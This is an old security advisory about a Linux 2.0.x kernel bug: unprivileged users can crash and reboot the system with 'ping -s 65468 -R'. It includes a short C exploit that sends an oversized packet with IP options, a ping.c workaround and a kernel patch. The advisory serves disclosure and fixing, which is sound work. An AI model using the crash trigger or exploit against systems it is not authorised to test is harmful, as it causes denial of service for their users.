COMMAND
kernel
SYSTEMS AFFECTED
Linux 2.0.x
PROBLEM
Eduardo Cruz found following. Last week he was playing with his
old linux 2.0.36 i486 box. While playing with the command ping
and trying combinations of commands, he found that when you do a
ping -s 65468 -R ANYIPADDRESS ( -R record route)
the system starts to print on the screen kernel dumps, freezes
complitely and after few secconds the system reboots. The major
problem with this is that command can be run by everyone because
you dont need root permissions to make a -R.
This was tested on a 2.0.35, .36 (both slackware) and .38 (??).
When you try to do this on a 2.2.x the system prints out "message
too long".
And this is exploit Andrea Arcangeli wrote to check the fix below:
/* Exploit option length missing checks in Linux-2.0.38
Andrea Arcangeli <andrea@suse.de> */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
main()
{
int sk;
struct sockaddr_in sin;
struct hostent * hostent;
#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
char payload[PAYLOAD_SIZE];
sk = socket(AF_INET, SOCK_DGRAM, 0);
if (sk < 0)
perror("socket"), exit(1);
if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
perror("setsockopt"), exit(1);
bzero((char *)&sin, sizeof(sin));
sin.sin_port = htons(0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(2130706433);
if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
perror("connect"), exit(1);
if (write(sk, payload, PAYLOAD_SIZE) < 0)
perror("write"), exit(1);
}
SOLUTION
This can be 'fixed' (okay kludged around) by altering the
#define MAXPACKET (65536 - 60 - 8)/* max packet size */
line in ping.c For those using RedHat 5.2 Stephen White made an
SRPM and .i368 RPM containing my new ping and they are avaiable
via annon. ftp at
ftp://ox.compsoc.net/users/swhite/ping/
You'll need to install with --force since the package reports the
same version as the normal redhat5.2 one so RPM thinks it's
already installed. It has also been suggested that ping could be
patched to make '-s' only available to root (like '-l' is), as an
alternative solution.
Neither of these address the real problem in the kernel, but they
do mean that sysadmins can go on allowing users to run ping
without the worry of quite such a trivial DoS.
Andrea Arcangeli posted following. Actually the bug is that the
IP layer is checking that the iphdr+payload is < 0xffff but it's
_not_ checking that iphdr+optsize+payload is < 0xffff. So as far
as there are no additional ip options in the packets all is fine.
This is his fix against 2.0.38:
diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
--- 2.0.38/net/ipv4/ip_output.c Thu Jun 18 23:48:22 1998
+++ 2.0.38-ping-R/net/ipv4/ip_output.c Tue Dec 14 23:02:43 1999
@@ -703,7 +703,13 @@
if (!sk->ip_hdrincl) {
length += sizeof(struct iphdr);
- if(opt) length += opt->optlen;
+ if(opt)
+ {
+ /* make sure to not exceed the max packet size */
+ if (0xffff-length < opt->optlen)
+ return -EMSGSIZE;
+ length += opt->optlen;
+ }
}
if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)
Downloadable also from:
ftp://ftp.*.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz